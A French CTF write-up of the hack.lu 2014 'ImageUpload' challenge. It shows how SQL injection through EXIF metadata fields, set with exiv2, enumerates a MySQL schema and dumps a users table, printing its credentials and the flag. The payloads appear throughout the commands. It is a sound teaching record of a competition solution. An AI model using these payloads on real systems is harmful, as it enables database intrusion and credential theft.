Outils d'utilisateurs

Outils du Site


hack.lu_2014:imageupload

HACK.LU 2014 : ImageUpload

In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help. Upload pictures of criminals to this site and help the sheriff to arrest them. You can make this Wild Wild Web much less wild!!! Pictures will be deleted on regular basis!


Url: https://wildwildweb.fluxfingers.net:1421

En arrivant sur le site on remarque une page login.php ainsi qu'une page index.php contenant un formulaire d'upload d'image.
En `uploadant` une image on remarque que différentes informations sont disponibles :
Width, Height, Author, Manufacturer et Model

On devine rapidement qu'il y a surement de modifier ces métadonnées.
Grâce à l'utilitaire exiv2http://www.exiv2.org/, et en se renseignant dans la documentation, on trouve comment modifier les métadonnées d'une image:

-M cmd Command  line  for the 'modify' action. This option can also be used with the 'extract' and 'insert' actions to modify  metadata  on-the-fly. The format  for  the  commands  is the same as that of the lines of a command file.

......
Example:

exiv2 -M"set Exif.GPSInfo.GPSLatitude 4/1 15/1 33/1" \
       -M"set Exif.GPSInfo.GPSLatitudeRef N" image.jpg
Sets the latitude to 4 degrees, 15 minutes and 33 seconds north. The Exif standard stipulates that the GPSLatitude tag consists of  three  Rational numbers for the degrees, minutes and seconds of the latitude and GPSLatitudeRef contains either 'N' or 'S' for north or  south  latitude  respectively.

D'après les standards fournis par le site d'exiv2 http://www.exiv2.org/tags.html, on remarque les champs ImageWidth et ImageLength sont de type short, il ne sera donc pas possible d'y insérer des caractères spéciaux ou du texte.

On modifie notre image pour tester une injection dans le prochain champ:

exiv2 -M"set Exif.Image.Make toto'" img.jpg

La page nous renvoie : Error inserting in DB.

On image donc que la requête se forme comme ceci:

INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto'","");

On continue sur la voie de l'injection SQL:

exiv2 -M"set Exif.Image.Make toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#" img.jpg

Ce qui nous donne une requête du type:

INSERT INTO 'images' ('id','Height','Width','Author','Manufacturer','Model') VALUES (NULL,0,0,"","toto',(SELECT schema_name FROM information_schema.schemata LIMIT 1,1))#<del>","");</del>

Lors de l'affiche de l'image, nous remarquons le résultat de notre injection dans le champ Model.

Nous continuons nos recherches sur la base 'chal':

# On encode le nom de la base en hexadécimal\\
echo -n "chal" |xxd -ps
=> 6368616c

exiv2 -M"set Exif.Image.Make toto',(SELECT table_name FROM information_schema.tables WHERE table_schema=0x6368616c LIMIT 0,1))#" img.jpg
**=> brute**
exiv2 -M"set Exif.Image.Make toto',(SELECT table_name FROM information_schema.tables WHERE table_schema=0x6368616c LIMIT 1,1))#" img.jpg
**=> pictures**
exiv2 -M"set Exif.Image.Make toto',(SELECT table_name FROM information_schema.tables WHERE table_schema=0x6368616c LIMIT 2,1))#" img.jpg
**=> users**

# On encode le nom de la table en hexadécimal
echo -n "users" |xxd -ps
**=> 7573657273**

exiv2 -M"set Exif.Image.Make toto',(SELECT column_name FROM information_schema.columns WHERE table_name=0x7573657273 LIMIT 0,1))#" img.jpg
**=> id**
exiv2 -M"set Exif.Image.Make toto',(SELECT column_name FROM information_schema.columns WHERE table_name=0x7573657273 LIMIT 1,1))#" img.jpg
**=> name**
exiv2 -M"set Exif.Image.Make toto',(SELECT column_name FROM information_schema.columns WHERE table_name=0x7573657273 LIMIT 2,1))#" img.jpg
**=> password**

exiv2 -M"set Exif.Image.Make toto',(SELECT group_concat(id,0x3a,name,0x3a,password) FROM users LIMIT 1))#" img.jpg
**=>	1:sheriff:AO7eikkOCucCFJOyyaaQ
	2:deputy:testpw**

On peut maintenant se logguer avec le premier utilisateur:

You are sucessfully logged in.
Flag: flag{1_5h07_7h3_5h3r1ff}


Par nico34 (nico{at}zenk-security{dot}com)


hack.lu_2014/imageupload.txt · Dernière modification: 2017/04/09 15:33 (modification externe)